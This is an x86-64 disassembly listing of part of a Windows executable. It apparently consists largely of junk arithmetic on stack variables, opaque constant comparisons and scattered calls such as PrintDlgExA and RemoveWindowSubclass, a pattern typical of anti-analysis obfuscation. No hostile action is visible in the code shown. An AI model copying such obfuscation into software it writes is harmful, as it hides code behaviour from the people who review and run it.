mov qword [rcx], rax
mov rax, qword [0x14016f158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
or eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
shl rax, cl
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [0x14016e004]
movsx ecx, byte [rsp + 0x120]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [0x14016f152]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sar eax, cl
mov word [rsp + 0xb8c], ax
mov rax, qword [0x14016f158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x120]
or eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4eb0], rax
cmp dword [rsp + 0x2b68], 0x41f8
jae 0x14000a34e
cmp dword [rsp + 0x2b80], 0x4a3b
je 0x14000ad79
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
movsx eax, word [rsp + 0xb90]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov byte [rsp + 0x11f], al
movzx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
or eax, ecx
mov dword [section..data], eax
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
mov eax, dword [rsp + 0x2ae0]
movzx ecx, al
mov eax, dword [rsp + 0x2ad8]
shr eax, cl
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
mov qword [rsp + 0x4f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b80]
add eax, 0xe1
mov dword [rsp + 0x2b80], eax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb90]
and eax, ecx
mov word [rsp + 0xb94], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [0x14016f152]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov word [rsp + 0xb94], ax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xb8c]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11f]
shl eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f08]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14016e008], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, byte [0x14016e004]
movsx ecx, byte [rsp + 0x120]
and eax, ecx
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xb94]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
jmp 0x14000a985
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x4f10], rax
mov rax, qword [rsp + 0x4ec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14016e010], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4f18], rax
cmp dword [rsp + 0x2b0c], 0xbb81
jb 0x14000b0a4
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14016e010]
sar rax, cl
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b40]
movzx ecx, al
mov eax, dword [rsp + 0x2b14]
shl eax, cl
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11e]
and eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb88]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4f18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x4e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b0c]
sub eax, 0xc7
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4ee0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4eb0]
shl rax, cl
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ae0]
shr eax, cl
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
jmp 0x14000add5
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov dword [rsp + 0x2b88], eax
cmp dword [rsp + 0x2b88], 0x200
je 0x14000b0d9
cmp dword [rsp + 0x2b88], 0x2a0
je 0x140153b55
jmp 0x140153c69
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x2af4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140153a7a
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
cmp dword [rsp + 0x2b34], 0x13ed2
je 0x14000b43c
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov word [rsp + 0xb98], ax
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0xb90]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b34]
add eax, 0xe0
mov dword [rsp + 0x2b34], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [0x14016f152]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0xe9]
or eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4e48]
mov qword [rsp + 0x4f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f20]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e40]
mov qword [rsp + 0x4f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ae0], eax
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb94], ax
movzx eax, word [rsp + 0xb98]
movzx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
movsx eax, byte [0x14016e004]
movsx ecx, byte [rsp + 0x120]
add eax, ecx
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
shl eax, cl
mov byte [rsp + 0x11f], al
jmp 0x14000b128
mov rax, qword [rsp + 0x4d80]
movzx eax, word [rax]
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4f30], rax
cmp qword [rsp + 0x4f30], 0
je 0x14000b46f
jmp 0x140153901
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov dword [rsp + 0x2b8c], eax
cmp dword [rsp + 0x2b8c], 0
je 0x14000b49d
cmp dword [rsp + 0x2b8c], 0x5903
je 0x14000b4e1
jmp 0x14000b5e8
lea rax, [rsp + 0x2ad8]
mov qword [rsp + 0x4f38], rax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
mov word [rsp + 0xba0], ax
jmp 0x14000b5e8
lea rcx, [rsp + 0x214a0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x2b90], eax
movsx eax, word [0x14016f150]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd0]
mov qword [rsp + 0x4f40], rax
movabs rax, 0xffc5d92b16cb60c
cmp qword [rsp + 0x4f40], rax
je 0x14000b5c8
movabs rax, 0xf67b45bd173bf746
cmp qword [rsp + 0x4f40], rax
je 0x14000b556
jmp 0x14000b5e8
lea r8, [rsp + 0x2af4]
lea rdx, [fcn.140154a20]
mov rcx, qword [rsp + 0x4f48]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x2b04], eax
movzx eax, word [rsp + 0xba0]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov word [rsp + 0xb98], ax
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4cf0]
movzx r8d, word [rsp + 0xb98]
mov edx, dword [rsp + 0x2b40]
movzx ecx, word [rsp + 0xb98]
call fcn.140154e90
nop
jmp 0x14000b5e8
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
mov dword [rsp + 0x2b94], ecx
movsx edx, byte [rsp + 0x11f]
movzx ecx, dl
mov edx, dword [rsp + 0x2b94]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000b66a
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4e40]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rax]
call fcn.140154460
nop
cmp dword [rsp + 0x2b54], 0xc212
jae 0x14000bab4
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x4f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0xe9]
and eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [0x14016f150]
sub eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x2b54]
add eax, 0xd4
mov dword [rsp + 0x2b54], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4d40]
mov qword [rsp + 0x4f50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4f38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb9c]
movsx ecx, word [rsp + 0xb94]
shl eax, cl
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [0x14016f158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2af4]
mov ecx, dword [rsp + 0x2ad8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ed8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb90]
movsx ecx, word [rsp + 0xb88]
shl eax, cl
mov word [rsp + 0xb9c], ax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14016e008], eax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11f]
sar eax, cl
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4eb0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x4e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb94]
sub eax, ecx
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba0]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
jmp 0x14000b66a
movzx eax, byte [rsp + 0x11d]
mov byte [rsp + 0x2b98], al
cmp byte [rsp + 0x2b98], 0x5c
je 0x14000bacf
jmp 0x14000bb0d
movzx eax, byte [0x14016f152]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
jmp 0x14000bc7a
